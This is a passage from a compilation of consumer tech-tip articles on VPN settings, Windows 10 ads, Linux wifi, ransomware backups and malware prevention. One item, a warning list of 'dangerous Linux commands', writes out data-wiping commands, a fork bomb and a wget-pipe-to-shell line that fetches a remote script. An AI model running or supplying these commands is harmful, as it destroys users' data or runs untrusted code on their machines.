  12. [How To] See Which Terminal Commands You Use The Most A lot of us use the command line on a regular basis, be it to do some simple package management with apt or monitor system resources with top. Have you ever wondered which commands you use most often? There’s an easy way to find out. Run the following command in a new terminal window to see a list of your 10 most used terminal commands (and a small tally of how often you’ve used each): history | awk '{print $2}' | sort | uniq -c | sort -rn | head -10 Naturally these stats aren’t of any real practical value. And if you regularly clear the bash cache it may not even be hugely accurate. It also doesn’t count complete commands (e.g, ‘sudo apt update‘). But for curiosity’s sake it can be interesting to see which single commands you enter most often. My results show I’ve used the command ‘cd‘ (used for moving between directories) most often, at a rather puzzling 1,245 times since installing Ubuntu 16.04 LTS! Second was ‘sudo‘, and third, with a more modest runtime tally of 345 is ‘top‘. Want to see more than 10 commands? Just edit the number at the end of this command to the number of commands you’d like to see (e.g, -14 to see the top 14, and so on). What are yours? Source
  13. All Private Internet Access Settings Explained The guide provides explanations for all settings and features of the Private Internet Access client for the Windows operating system. Private Internet Access is a popular VPN provider. The company has a strict no-logging policy which have been verified in court this year. Customers may download one of the available clients for their operating system. The Windows client ships with a list of features that you may enable to improve your privacy and security while being connected to one of the company servers. The following guide lists and explains all settings that the Windows client version of Private Internet Access provides currently. We have used the latest version of the client, version 0.65, for that. We will update the guide when features change. If you notice that before us, let us know in the comments so that we can update the article. Private Internet Access VPN Settings You can open the settings by right-clicking on the Private Internet Access icon in the Windows system tray area. Please note that you can only access the settings if you are not connected to the VPN at that time. If you are, you need to disconnect first before you can do so. The client uses three configuration pages of which one, simple, is not of much use. Advanced Settings The advanced settings page, which you see on the screenshot above, lists several options that you want to check out and configure. Username: your PIA username Password: the associated password of the account. Start application at login: whether the VPN software is started on Windows boot. Auto-connect on launch: whether the software connects to the VPN server when it is started. Show desktop notifications: whether notifications are shown on the desktop (e.g. on connection or disconnect). Region: The region you want to connect to. Tip: You can run speed tests for any server region to find out how well it performs. Connection type: Select UPD or TCP as the connection type. Default is UDP. Remote port: Set to auto by default, but you may specify a port there. Local port: Set a local port. Request port forwarding: The port that is being used is shown when you hover over the PIA icon in the system tray area. This can be useful to set it up in applications. PIA MACE: This is a new feature of Private Internet Access. It acts as a blocker for advertisement, malware, trackers and other undesirable elements. You have no control currently apart from enabling or disabling the blocker. VPN Kill Switch: This terminates the Internet connection if the connection to the VPN drops. Useful if you don't want your "real" IP address to be logged by services you connect to while using a VPN. IPv6 leak protection: This disables the use of IPv6 while connected to the VPN. Use small packets: If you notice connection issues, e.g. connections that drop frequently, you may want to enable this option to see if it resolves that issue. Debug mode: You may be asked to enable debug mode by PIA support. The log is written to C:\Program Files\pia_manager\log. While it is up to you and your requirements what to enable on the settings page, it is usually a good idea to enable all features but PIA MACE and Debug mode. Encryption A click on encryption displays options to set various encryption related parameters. Data Encryption: Select one of the available encryption standards. Available are AES-128, AES-256 and None. Data Authentication: Select one of the available cryptographic hash functions. Available are SHA-1, Sha-256 and None. Handshake: Encryption used to establish a secure connection with Private Internet Access servers. Pia uses TLS 1.2. The default is RSA-2048. The selection depends largely on your requirements. Want maximum protection? Select AES-256, SHA-256 and RSA-4096. Want all speed and no safety at all? Pick None, None and ECC-256k1. The default recommendation is AES-128, SHA-1 and RSA-2048. The client displays warning if you choose none for data encryption or data authentication, or when you chose ECC for Handshake. Now Read: Private Internet Access rubyw.exe connections explained Source
  14. Most of my friends and family live in Canada and I often get in touch with them so according to them the digital culture is booming like crazies in Canada these days. This lead me to do a random search about it since I'm a bit of a geek who goes after the depth of anything that catches my eye. So on a random search I came across these mind-boggling stats about internet scams in Canada and it wasn't too good for me cause not everyone of my friends and family is tech-savvy or intelligent enough to not fall victim to a scam or phishing attack. So it lead me looking for some things (tips) specifically for Canada as I'm not too sure what kind of scams are there. So far I have found this article about Canadian Internet Scams and Tips to Keep in Mind and scams via money transfer. Now need you guys in it! Cheers!
  15. Cortana has been designed to do a lot of things, and here we show you a bunch of tips and tricks you can use to be more productive on Windows 10. Cortana on Windows 10 is always ready in the taskbar, or a voice command away, to help you with virtually anything you need. Similar to Google Now and Apple's Siri, Microsoft's digital assistant can create reminders, schedule appointments, track packages and flights, suggest recommendations, find files, and even tell you a joke when you're feeling bored. The fact is that if you haven't been using Cortana, you've been missing out on many cool things you can do. Although there is not a "master list" of everything you can do with the assistant, here's a list with some of the most productive tips and tricks you can do with Cortana on Windows 10. How to use Cortana to manage your calendar How to use Cortana to create notes How to use Cortana to set an alarm How to use Cortana to set timer How to use Cortana to play and search music How to use Cortana to open apps How to use Cortana to send a text message from your PC How to use Cortana to send a quick email How to use Cortana to do math and conversions How to use Cortana to find facts How to use Cortana to move with traffic How to use Cortana to translate languages How to use Cortana for technical support How to use Cortana to manage your calendar Similar to a really world assistant, Cortana can also do an excellent job managing your calendar using the Calendar app. To create a new calendar event, do the following: Open Cortana. In the search box type the following command: Create a calendar event and press Enter. Enter the information for the event. Make sure to add it to the correct calendar. Click Add to complete the task. If you want to use voice commands, you can simply say "Hey Cortana", or click the microphone icon in the search box, followed by the command. Here are some examples: Viewing calendar events "What's on my calendar for today?" or "How's my schedule like this week?" Adding new calendar events "Add dental appointment for tomorrow at 4 pm" or "Add business meeting for Friday at 9 am" Moving calendar events "Move dental appointment to Tuesday 11 am" or "Move business meeting to tomorrow 2 pm" Remember that you can always type your voice commands in the search box, instead of saying them aloud. It's all the same for Cortana.
  16. Is It A Good Idea To Charge Your Smartphone Overnight? Will Charging Your Smartphone Overnight Damage It? Here’s What You Should Know There are chances that many of us plug in our smartphone for charging while going to bed at night, so that you do not have a fully drained device or low battery while rushing to work or travelling, etc. If you think that charging your device overnight is a good idea, you may want to think again. If you plan to upgrade your smartphone every two years, leaving your device to charge overnight will not do much damage to your battery. Experts say majority of the time those people are not going to notice much damage to their smartphone batteries before they start wishing for a new device. However, frequent charging does damage the lithium-ion batteries in our smartphones. And it’s not because they can be overcharged, said Edo Campos, a spokesman for Anker, which produces smartphone chargers. “Smartphones are, in fact, smart,” Mr. Campos said. “They know when to stop charging.” In other words, smartphones are designed to understand when the battery is at capacity, and should at that point stop absorbing additional electrical current. According to a report by The New York Times, Android smartphones and Apple iPhones are equipped with chips that protect them from absorbing excess electrical current once they are fully charged. Theoretically, any damage from charging your smartphone overnight with an official charger, or a trustworthy off-brand charger, should be negligible. The report stated that most smartphones use technology that allows their batteries to charge faster, but this process leads to lithium-ion and lithium-polymer batteries rusting faster. If a user wants to preserve the life of their lithium-ion battery beyond the typical lifetime of a smartphone – usually two years – they can try using a charger made for a less-powerful device, stated the report. Source
  17. How to Disable All of Windows 10’s Built-in Advertising Windows 10 has a lot of built-in advertising. This isn’t just about the free upgrade offer: Even if you purchase a new PC that comes with a Windows 10 license or spend $200 for a copy of Windows 10 Professional, you’ll see ads in your operating system. You can, however, disable a lot of it. Disable Lock Screen Ads RELATED ARTICLE: How to Disable Ads on Your Windows 10 Lock Screen Windows 10 now displays ads on the lock screen via Windows Spotlight. Sometimes, Windows Spotlight will just show off cool wallpapers, but it’ll also sneak in advertisements for games like Rise of the Tomb Raider and Quantum Break in the Windows Store. To get rid of these lock screen ads, head to Settings > Personalization > Lock Screen and set the background to “Picture” or “Slideshow” instead of Windows Spotlight. You’ll probably also want to disable the “Get fun facts, tips, and more from Windows and Cortana on your lock screen” option here, too. Stop Suggested Apps From Appearing in the Start Menu RELATED ARTICLE: How to Get Rid of “Suggested Apps” in Windows 10 Windows 10 will occasionally show “suggested apps” in your Start menu. Suggested apps aren’t necessarily free, and we’ve seen Microsoft use this feature to advertise $60 PC games from the Windows Store (which, by the way, you shouldn’t buy). But mainly, they just take up valuable space in your Start menu. To stop suggested apps from appearing in the Start menu, head to Settings > Personalization > Start and set the “Occasionally show suggestions in Start” setting to “Off”. Get Rid of Nagging Tips Windows 10 also has helpful “tips” that often serve to push Microsoft apps and services. Tips have included recommendations to use Microsoft Edge for better battery life, and an encouragement to use Microsoft Edge so you can earn Microsoft rewards points. If you’d like to just use your own preferred applications without Microsoft nagging you, you’ll need to disable these tips. To do so, head to Settings > System > Notifications & Actions and disable the “Get tips, tricks, and suggestions as you use Windows” option. Stop Cortana From Bouncing on the Taskbar RELATED ARTICLE: How to Disable Cortana in Windows 10’s Anniversary Update Cortana doesn’t just sit on your taskbar and wait for you to start talking to it. Cortana will regularly bounce in place, encouraging you to try using it. If you don’t want Cortana nagging you, click the Cortana search bar, click the Settings icon, scroll down, and disable the “Taskbar Tidbits” option. From then on, Cortana will sit quietly until you want to use it. If you don’t want Cortana running at all, you can choose to disable Cortana with a registry or group policy setting. Microsoft removed the old, easy toggle that lets you disable Cortana with the Anniversary Update, but the registry and group policy tricks still work. Banish “Get Office” Notifications RELATED ARTICLE: How to Disable the “Get Office” Notifications on Windows 10 Windows 10 includes a “Get Office” application that sits there, providing notifications suggesting you download Office 365 and enjoy a month-long free trial. To stop those Get Office notifications, head to Settings > System > Notifications & Actions, scroll down, and set notifications for the “Get Office” app to “Off”. You can also simply find the Get Office app in your Start menu, right-click it, and select “Uninstall”. However, it may come back when you update Windows 10 in the future. Uninstall Candy Crush Saga and Other Automatically Installed Apps Windows 10 “automatically downloads” apps like Candy Crush Soda Saga, Flipboard, Twitter, and Minecraft: Windows 10 Edition when you sign in for the first time. PC manufacturers can also add their own apps and live tiles that appear installed by default. These apps are installed as part of the “Microsoft Consumer Experience”. There was a group policy setting to disable this, but it was removed from consumer versions of Windows 10 in the Anniversary Update. Only Windows 10 Enterprise users–not even Windows 10 Professional users–can turn this off. You can remove these apps and tiles, however. To do so, just open your Start menu, locate any apps you don’t want to use, right-click them, and select “Uninstall.” Apps like Candy Crush Soda Saga and FarmVille 2: Country Escape will appear as tiles by default, but you can also find them under the all apps list. Some apps are simply given a tile but aren’t yet downloaded. To remove these tiles, just right-click the tile and select “Unpin from Start.” You won’t see an “Uninstall” option because the tiles are just links that take you to the Windows Store where you can download the app. Disable Live Tiles and Unpin Windows Apps RELATED ARTICLE: How to Make the Windows 10 Start Menu Look More Like Windows 7 While you can remove the apps that are installed as part of the Microsoft Consumer Experience program, Windows 10 also includes quite a few apps you can’t uninstall that advertise to you. For example, the Store and Xbox tiles often make use of the “live tile” feature to advertise apps and games Microsoft wants you to download. To disable live tiles that advertise to you, right-click a tile and select More > Turn live tile off. You can also just right-click a tile and select “Unpin from Start” to get rid of the tile entirely. You can even choose to unpin all the tiles and only use the All Apps list to launch apps, if you like. Avoid the Built-in Solitaire Game RELATED ARTICLE: You Don’t Have to Pay $20 a Year for Solitaire and Minesweeper on Windows 10 Stay away from the “Microsoft Solitaire Collection” game preinstalled on Windows 10. This app doesn’t just have advertising–it has video ads that are 30 seconds long. You can avoid the advertising by paying $10 a year. Microsoft’s Minesweeper game isn’t installed by default, but it too has its own $10 a year subscription fee. Those are steep prices for games that used to be free. Play another free Solitaire game instead. Google now offers a solitaire game–just search for “solitaire” and you can play ad-free solitaire in Google’s search results. We’ve also put up our own completely free Solitaire and Minesweeper games on URLs that anybody can access in a desktop browser. We didn’t put any ads in these games, so you can play ad-free: solitaireforfree.com minesweeperforfree.com Expect to see Microsoft add more advertising to Windows 10 in future major updates. Windows 10’s Anniversary Update turned more of the default tiles on the Start menu into “sponsored tiles”, for example. Source
  18. Quick And Simple Way To Prevent Laptop Power Cords Fraying I come across a lot of laptops with frayed power cords that are expensive to replace. Prevention is better than cure. Here's how to prevent the problem happening in the first place. As a MacBook owner, I've grown accustom to the fact that it won't be long before the cable on the power cord starts to fray, and once that's happened, it's only a matter of time before I'm giving Apple another $80 for a charger. Well, prevention is better than cure, so I've been taking steps to prevent the problem from happening, rather than dealing with it once it's started. And don't worry, this isn't specific to the MacBook - this will work on all brands of laptop power cords. This also works for smartphone or laptop power cables. I know, because I've tested this on the weakest of the weak charger cables - the Apple Lightning cable. I've been experimenting with a number of techniques over the past few months, and the best one I've come up with needs only two things: a pack of Sugru and a couple of small cable ties. Not heard of Sugru? It's a mouldable adhesive made of polysiloxane (silicone caulk) and talc. It sets into a durable, waterproof silicone rubber in about 24 hours, and it's stable between -50°C (-58°F) to +180°C (356°F). Here's what I do: Step - 1: Here's the laptop charger, the Sugru, the cable ties, and a pair of snips for cutting the cable ties. Step - 2: Next, I put a plastic tie at both ends of the cable (because I'm giving the Sugru treatment to both the connector end and the power brick end). It doesn't have to be super-tight, but you do need to be able to snip the tail off the cable tie as close to the lock as possible. The purpose of the cable tie is to give the Sugru something to grip onto. It does work without this, but I've found that this gives a more durable fix. Step - 3: Here's the Sugru. I'm using black because that's what I had. It does make a bit of a mess, so if you want to be tidy I suggest using white. Step - 4: Now you just start molding it over the cable and the existing strain relief. If you're thinking of doing this on a new power cord, I actually suggest you wait a few months because you'll find that the cable usually takes on a particular bend or twist, and then you can mold the Sugru to follow these bends. This, believe it or not, makes the fix stronger. And yes, I know my molding is messy. I never was any good at crafts. Step - 5: See how the Surgu molding at the connector end has a bend in it? I'm following what seems to be the way the cable wants to bend. Source
  19. Fix WiFi Not Connecting In Linux Mint 18 And Ubuntu 16.04 Problem description I experienced this strange issue in Ubuntu 16.04 and Linux Mint 18. When I tried to connect to wifi, I clicked on the available wireless networks, entered the correct wifi password. A few seconds later, I was still not connected to the internet. I thought it may be that I entered an incorrect password. So, I tried to connect again. This time typing the password slowly and then I double checked it to make sure that the password was correct. But no, it won’t connect to the internet. This was frustrating as my wifi password is 26 characters long. Reason I went to the network settings to find out what was wrong with it. I noticed that my wifi password was not stored which could be normal as I was not asked if I wanted to connect to the network automatically. I manually entered the wifi password and saved it in the network settings in an effort to not have to enter the long passwords again. What surprised me that it just got connected to the internet after that. I don’t know exactly what made it work but it worked. I haven’t looked to find if it is a bug in this version of the network manager or not but I experienced the same issue after installing Linux Mint 18. And using this trick again saved me. Steps to fix wifi not connecting despite correct password in Linux Mint 18 and Ubuntu 16.04 Basically, all you need to do here is: go to Network Settings choose the network you are trying to connect to under the security tab, enter the wifi password manually save it This trick has worked for me repeatedly, both in Ubuntu and Linux Mint. I hope that it works for you too. Since I am using Linux Mint 18 right now, I am going to share screenshots so that it would help beginners to fix this issue. Step 1: Go to Network Settings: Step 2: Choose the network you are trying to connect to. Note that it already provides a configuration option because I tried to connect to it earlier. Step 3: Under the security tab, enter the wifi password manually and click on apply to save it: You’ll see that your network is now connected: I hope this helps you. Note that this article deals with the problem when the wireless network is working fine in your system but it cannot connect to the access point despite correct password. I suggest this article if there is no wireless network in Ubuntu or Linux Mint. Have you already encountered the same wireless connection issue in Ubuntu 16.04 or Linux Mint 18? If yes, how did you fix it? Source
  20. Here Are 9 Dangerous Linux Commands You Should Never Execute On Any Computer These 9 Linux commands if executed can wreak irreparable damage to any computer Most Linux commands are generally useful, but they are not the ones that are the subject matter of today. Here, we list down a total of 9 Linux commands that can wreak havoc to any computer that you use, and that can get you into a lot of trouble. rm -rf The command rm -rf / deletes everything, and that includes files on your hard drive and files on connected removable media devices. : () {: |: &} ;: :(){ :|: & };: is also known as Fork Bomb to people who possess accurate knowledge of it. It is a denial-of-service attack against a Linux System and continues to repeat itself until the system freezes. command> / dev / sda This Linux command writes raw data and all files on the block will be replaced with raw data, resulting in total loss of data in that block. mv directory / dev / null This command sends all your personal files into a black hole, which pretty much means that they will be lost to you forever. wget http: // malicious_source -O | sh The above line downloads a script from the web and sends it to sh, which executes the contents of the script. It’s always dangerous if you are running untrusted scripts, so avoid this at all costs. Mkfs.ext3 / dev / sda This will leave the hard drive without any recoverable data, thus leaving your system into an unrecoverable stage. > File This command is used to release the file content. If the above command is executed with a typing error or ignorance as ‘> xt.conf’ will write the configuration file or any other system or configuration file. ^foo^bar Not as harmful as the rest of them, but this command is used to edit the previous run command without the need of retyping the whole command again. In the wrong situation, it can become extremely harmful if you didn’t take the risk of thoroughly checking the change in original command using ^foo^bar command. Decompression Bomb When you’re asked to open a comprised file, the contents of the file contain highly compressed data. Once the file is decompressed, hundreds of GB of data is extracted which can fill up your hard drive to bring down the performance of your system so avoid this no matter what happens. Now that you are familiar with the latest Linux commands, you will do very well to avoid them. Source
  21. The Smartest Way To Stay Unaffected By Ransomware? Backup! Here at Emsisoft, we know that ransomware is now the most consistently problematic type of malware to effect internet capable devices and businesses. As a security software vendor you might expect that with this blog post we would try to sell you our product as the ultimate solution against ransomware. A quality anti-malware program is vital. Our software in fact is specialized in finding and blocking ransomware, but there is one additional layer of protection you need to consider. What would you do if an attacker gained admin access to your computer and disabled your antivirus/anti-malware software? They have cleared the way to load the encryption part of their ransomware onto your machine and now your data is lost to you. Anti-malware software detects malicious files very well, but it can’t prevent you from opening your doors to invite the bad guys in. In the recent past our lab has dealt with many ransomware victims who’s computers were infected manually by using leaks in old, non-patched software to get admin access. So you should always have a Plan B at hand. If someone manages to disable your protection software, you need to have a backup. Firstly, what is ransomware? An exploitative crime, ransomware is a kind of malware that encrypts your personal data or locks your entire PC. If infected you will be asked to pay a “ransom” via an anonymous service (such as a Bitcoin page) in order to unlock your computer and free your data. Ransomware makes up a huge part of today’s active threats as it turned out to be one of the easiest and highest income earners for attackers. All other malware makes its developers money indirectly (by using or selling your computer power), but ransomware directly asks you (the victim) for cash by putting you in a situation in which you feel forced to pay. The key to protecting your data from a ransomware attack lies with preparedness. It’s all about Plan B If you have all of your data stored somewhere else, uninfected, a ransomware attack will not be such a problem for you. In fact, in most cases you will only need to wipe your computer and start again. By keeping an updated backup, you can reinstall your operating systems, programs and personal data. This applies to businesses too. If a daily backup becomes part of your daily closing procedure, customer databases, accounts and book-keeping files will always be up-to-date in case of emergency. What should I backup? Let’s start with the most important. First and foremost, you need to back up your personal files. Your personal data is irreplaceable. Think of it this way. If your house was burning down, aside from your loved ones, what would you want to save? Backup any personal documents such as copies of birth certificates or saved bank statements. Your photos, home videos, and any other data such as your work files should be backed up regularly. Those can never be replaced. If you’ve spent hours ripping audio CDs to build your dream MP3 library, you may want to back those files up too. Your operating system, programs, and other settings should also be backed up. Though it’s not necessary, it can make your life easier if your entire hard drive fails. Particularly if, like me, you are the type of person that likes to play around with program files, regularly update your hardware and run partitions for linux, having a full system image backup may be very useful for you. Since ransomware also targets corporate users, customer information systems and databases should be backed up regularly. Backup Options Before choosing a backup option, the first and most important step is to take some time to properly label and organize your files into well-named and easy to follow directories. If it gets too overwhelming, try starting it on paper. Seagate offers excellent advice on how to organize your files with a back-up master plan. Decide on the frequency with which you will back up, then consider what your best backup option is. External hard drives are a good option as the drive can be kept physically separate to your machine and can be locked away for safe keeping. However, external hard drives only work as a backup option if the device is kept physically disconnected from the machine. If it remains plugged in, it is as susceptible to ransomware as the hard disk of your computer. So, keep your backup separate. Keep it updated. And consider encrypting both your computer’s hard disk and the portable hard drive. We explore the benefits of file encryption here. Backing up online with a cloud service like CrashPlan can be an excellent option to protect against natural disaster, fire or any other kind of physical threat to your data. CrashPlan is a reputable online backup service with equally popular competitors such as BackBlaze, Carbonite and MozyHome. These programs will run in the background, updating your files in the programs web storage. Keep in mind this option usually requires a monthly fee and the first backup can take quite a long time, particularly if you have a lot of data. Cloud safety is becoming more and more undermined by cybercriminals who, rather than hacking computers directly, hack the main servers of cloud services. This means your data could still be held to ransom, just on a much larger scale among thousands of other users. So, when considering an online backup option, look carefully for a service that supports revisioning where old versions of files are kept and are accessible if your backup files are also infected with ransomware. This table compares online backup options based on the different features they offer. If you choose an option that does not support revisioning, please ensure the service does not remain constantly connected to your main computer as even these files can be corrupted. With no alternative versions of your files, you will still lose your data. By regularly updating with revisioning, all versions will be more recent and your loss can be minimised drastically. If ransomware changes the most recent backup, older versions should remain unchanged. In summary: avoid infection Keep your software and operating systems up to date. Do not install applications from unfamiliar sources or untrusted websites. Read permissions closely when requested by programs or apps. Back up data and devices frequently. Install and regularly update a quality anti-malware product such as Emsisoft Anti-Malware. Our software has a proven ability to capture and eliminate ransomware. Read about our performance against ransomware here with our behaviour blocker technology. If infected, take every possible step to avoid paying. Every bitcoin in the hands of a cybercriminal increases the profitability and spread of this kind of malware. Emsisoft does not profit from emergencies. If you ever have a problem, please contact us. Have a great (malware-free) day! Source
  22. 10 Easy Ways To Prevent Malware Infection We told you how to tell if you’re infected with malware. We told you how to clean up the infection if you get it. How about how to stop the infection from happening in the first place? Yes, it’s possible to clean up an infected computer and fully remove malware from your system. But the damage from some forms of malware, like ransomware, cannot be undone. If they’ve encrypted your files and you haven’t backed them up, the jig is up. So your best defense is to beat the bad guys at their own game. While no single method is ever 100 percent fool-proof, there are some tried and true cybersecurity techniques for keeping malware infections at bay that, if put into practice, will shield you from most of the garbage of the Internet. Without further ado: Protect vulnerabilities One of the top delivery methods for malware today is by exploit kit. Exploit kits are sneaky little suckers that rummage around in your computer and look for weaknesses in the system, whether that’s an unprotected operating system, a software program that hasn’t been updated in months, or a browser whose security protocols aren’t up to snuff (we’re looking at you, Internet Explorer). Here are some ways you can protect against exploits and shield your vulnerabilities: 1. Update your operating system, browsers, and plugins. If there’s an update to your computer waiting in queue, don’t let it linger. Updates to operating systems, browsers, and plugins are often released to patch any security vulnerabilities discovered. So while you leave those programs alone, cybercriminals can find their way in through the vulnerabilities. Bonus mobile phone tip: To protect against security flaws in mobile phones, be sure your mobile phone software is updated regularly. Don’t ignore those “New software update” pop-ups, even if your storage is full or your battery is low. 2. Enable click-to-play plugins. One of the more devious ways that exploit kits (EKs) are delivered to your computer is through malvertising, or malicious ads. You needn’t even click on the ad to become infected, and these malicious ads can live on prestigious, well-known sites. Besides keeping your software patched so that exploit kits can’t do their dirty work, you can help to block the exploit from ever being delivered by enabling click-to-play plugins. Click-to-play plugins keep Flash or Java from running unless you specifically tell them to (by clicking on the ad). The bulk of malvertising relies on exploiting these plugins, so enabling this feature in your browser settings will help keep the EKs at bay. 3. Remove software you don’t use (especially legacy programs). So, you’re still running Windows XP? Microsoft discontinued releasing software patches for this program in 2015. That means you’re wide open to exploit attack. Take a look at other legacy apps on your computer, such as Adobe Reader or older versions of media players. If you’re not using them, best to remove. Watch out for social engineering Another top method for infection is to scam users through social engineering. Whether that’s an email that looks like it’s coming from your bank, a tech support scam, or a fishy social media campaign, cybercriminals have gotten rather deft at tricking even tech-savvy surfers. By being aware of the following top tactics, you can fend off uninvited malware guests: 4. Read emails with an eagle eye. Check the sender’s address. Is it from the actual company he or she claims? Hover over links provided in the body of the email. Is the URL legit? Read the language of the email carefully. Are there weird line breaks? Awkwardly constructed sentences that sound foreign? And finally, know the typical methods of communication for important organizations. For example, the IRS will never contact you via email. When in doubt, call your healthcare, bank, or other potentially-spoofed organization directly. Bonus mobile phone tip: Cybercriminals love spoofing banks via SMS/text message or fake bank apps. Do not confirm personal data via text, especially social security numbers. Again, when in doubt, contact your bank directly. 5. Do not call fake tech support numbers. Ahhh, tech support scams. The bane of our existence. These often involve pop-ups from fake companies offering to help you with a malware infection. How do you know if they’re fake? A real security company would never market to you via pop-up saying they believe your computer is infected. They would especially not serve up a (bogus) 1-800 number and charge money to fix it. If you have security software that detects malware, it will show such a detection in your scan, and it will not encourage you to call and shell out money to remove the infection. That’s a scam trying to infect you. Don’t take the bait. 6. Do not believe the cold callers. On the flip side, there are those who may pick up the phone and try to bamboozle you the good old-fashioned way. Tech support scammers love to call up and pretend to be from Microsoft. They’ve detected an infection, they say. Don’t believe it. Others may claim to have found credit card fraud or a loan overdue. Ask questions if something feels sketchy. Does the person have info on you that seems outdated, such as old addresses or maiden names? Don’t confirm or update the info provided by these callers. Ask about where that person is calling from, if you can call back, and then hang up and check in with credit agencies, loan companies, and banks directly to be sure there isn’t a problem. Practice safe browsing There’s such a thing as good Internet hygiene. These are the things you should be doing to protect against external and internal threats, whether that’s losing your device, walking away from your computer, using public wifi, or shopping online. “While many of the threats you hear about on the news make it seem like there is no way to protect yourself online these days, the reality is that by following some basic tips and maintaining good habits while online, you will evade infection from over 95 percent of the attacks targeting you,” says Adam Kujawa, Head of Intelligence for Malwarebytes. “For that last 5 percent, read articles, keep up with what the actual security people are saying, and follow their advice to protect yourself.” So here are some of the basics to follow: 7. Use strong passwords and/or password managers. A strong password is long, is not written down anywhere, is changed often, and isn’t tied to easily found personal information, like a birthday. It’s also not repeated for different logins. Admittedly, that’s a tough cookie to swallow. If you don’t want to worry about remembering 5,462 different rotating passwords, you may want to look into a password manager, which collects, remembers, and encrypts passwords for your computer. 8. Make sure you’re on a secure connection. Look for the padlock icon to the left of the URL. If it’s there, then that means the information passed between a website’s server and your browser remains private. In addition, the URL should read “https” and not just “http.” 9. Log out of websites after you’re done. Did you log into your healthcare provider’s site using your super-strong password? You could still be leaving yourself vulnerable if you don’t log out, especially if you’re using a public computer. It’s not enough to just close the browser tab or window. A person with enough technical prowess could access login information from session cookies and sign into a site as you. Layer your security Sometimes all the safe browsing and careful vigilance in the world can’t protect you from all threats. Sometimes you need a professional to catch all the poo that cybermonkeys are flinging. So to keep your machine clean, invest in security software and layer it up with the following: 10. Use firewall, antivirus, anti-malware, and anti-exploit technology. Your firewall and antivirus programs will detect and block the known bad guys. Meanwhile, your anti-malware and anti-exploit software can fend off sophisticated attacks from unknown agents, stopping malware infection in real time and shielding vulnerable programs from exploit attack. Security professionals agree a multi-layer approach—using not only multiple layers of security technology but also user awareness—helps keep you protected from the bad guys and your own mistakes. Now go forth and fight malware! Source
  23. How to Turn an Old Hard Drive Into an External Drive So you’ve upgraded the hard drive in your computer, and you’re left with this old, seemingly useless bare hard drive. Don’t throw it away! It takes surprisingly little effort to turn an old (or new) hard drive into an external drive perfect for stashing your extra files on. Let’s look at how you can blow the dust off those old drives and save money in the process. Why Roll Your Own External Drive? You can, if you wish, head down to your local big box electronics store or favorite e-retailers, like Amazon or Newegg, and pick up an external drive at a seemingly decent price. But what seems to be a value on the surface isn’t always so. Not only is there no good reason to pay the hard drive company a premium to slap their drive in an enclosure on your behalf, there’s actually more than a few benefits to rolling your own external hard drive setup. First, if you already have a drive on hand, it’s extremely cheap to use it as an external drive, since the biggest cost (the drive) is already sunk and the smallest cost (the enclosure) is trivial by comparison. Even if you don’t consider yourself much of a hardware geek, there’s a good chance you have a few (or more) hard drives sitting around (we’ve got bunches sitting in drawers). Second, you get control over the drive quality and specifications. It’s a not so hush-hush secret in the hardware industry that external hard drive units rarely get premium drives, and even if you like the company you’re purchasing your off-the-shelf external drive unit from, that doesn’t mean you’ll be getting the cream-of-the-crop drive design from them in the process. If you use an old hard drive of your own or even purchase a new bare internal drive for this project, you’ll know exactly what you’re getting. Third, if you have a drive with data on it that you wish to retrieve, you can easily use your external enclosure to mount the hard drive and retrieve it. Yes, you could mount the drive internally on your desktop computer, but it’s a bit more time consuming, and can be impossible on some machines. And, on most laptop computers, it’s impossible to add an additional internal drive. (Although, if you’re only interested in a one-and-done data pull from the hard drive and have no intention of using it as an external drive, you might find the cable and techniques we use in this article to be more helpful.) Lastly, you’ll get more long term value out of rolling your own external drive since any drive can be used within the enclosure. When you purchase an off-the-shelf external drive, the enclosure is mated to its drive (sometimes even literally soldered together). You can’t just crack open that Western Digital MyBook and throw any old drive in there, but with a third-party external drive enclosure, you can. So when you want to upgrade your external drive, all you have to do is swap out the drive inside–instead of buying a completely new product. With all that in mind, let’s look at drive selection considerations, enclosure selection considerations, and finally how it all comes together. Selecting Your Drive Whether you’re picking through a pile of old drives gathering dust on your office shelf or you’re considering buying a new one for the task, there are a few things to keep in mind. We’d suggest reading over this section twice. Once to help you decide which drive you’ll use, and then again to jot down the relevant specifications of that drive before moving onto the next section of the guide focused on purchasing your enclosure. Drive Health This is your primary consideration when reusing an old hard drive: drive health. Obviously if you pulled the old drive from a machine because it was having serious issues like a clicking drive head or other problem, then you shouldn’t even consider using it as an external hard drive. Even if your drive isn’t having problems, you should absolutely check the SMART settings–a process akin to checking the hard drive’s health history. If it turns out the drive has a a bunch of red flags, like thousands of bad sectors, you should consider using a different spare drive or purchasing a new one for the enclosure. Drive Form Factor Hard drives come in two sizes. Mechanical hard drives and mechanical/SSD hybrids meant for desktop computers have a 3.5″ form factor, and are about the size of a modest paperback novel. They’re bigger than laptop-sized drives, but they’re also cheaper for how much storage you can fit. They also require an external power source, which means you’ll need to plug your resulting external drive into the wall. Exercise caution when coming between the mother drive and cub drive. SSDs and laptop-sized mechanical drives come in a 2.5″ form factor. The benefit of using a 2.5″ drive, as you’d expect, is the size–2.5″ drives are about the size of a smartphone. Further, most 2.5″ enclosures do not require external power, so they just have one cable: the one that plugs into your computer. No wall outlet or bulky transformer plug required. The downside to using a laptop size drive is that 2.5″ form factor drives are usually lower capacity (or very much pricier if higher capacity), and unlike 3.5″ drives that have a set height, 2.5″ drives can be 7mm, 9.5mm, and 12.5mm tall. Drive Speed and Capacity Since you’ll probably be plugging your drive in via USB, the drive speed won’t make a huge difference in terms of performance. Technically higher RPM drives will have a slight advantage over USB 3.0 connections (especially for seeking and writing tons of small files) but for most people the difference is likely negligible when all real world factors are included–like variables introduced by file sizes, how many devices are hooked up to each USB root on your computer, and so on. Drive speed is certainly a factor in terms of wear and tear on the drive, however, since faster drives generate more heat. If you’re surveying your drive pile or doing some shopping, you’ll extend the life of your drive by opting for a hard drive with a slow rotational speed (like 5,400 RPM) and skipping over drives with higher rotational speeds (like 7,200 and 10,000 RPM). If the drive is used infrequently, like you just fire it up to backup files once a month, the drive speed distinction (and the subsequent heat) is a moot point. If you intend to use the drive continuously, opt for a slower drive. Now, on the matter of drive capacity, there’s only one real limitation to be aware of. Older USB 2.0 enclosures don’t have the hardware/firmware to support larger drives so be aware that it’s best to pair a large drive (2TB+) with a newer enclosure. Drive Interface We saved this consideration for last because, for most people, it’s not even much of a consideration at all anymore. Hard drives are connected to a computer’s internals via either a PATA or an SATA connection type. PATA connections (also known as IDE) dominated the hard drive market from the mid 1980s well until around 2005 or so, and had a wide connector type that resembled a printer cable, seen below in the image above–note the very large molex-style power adapter at the far right. SATA, introduced in 2003, is now the dominate connection type and features a very skinny 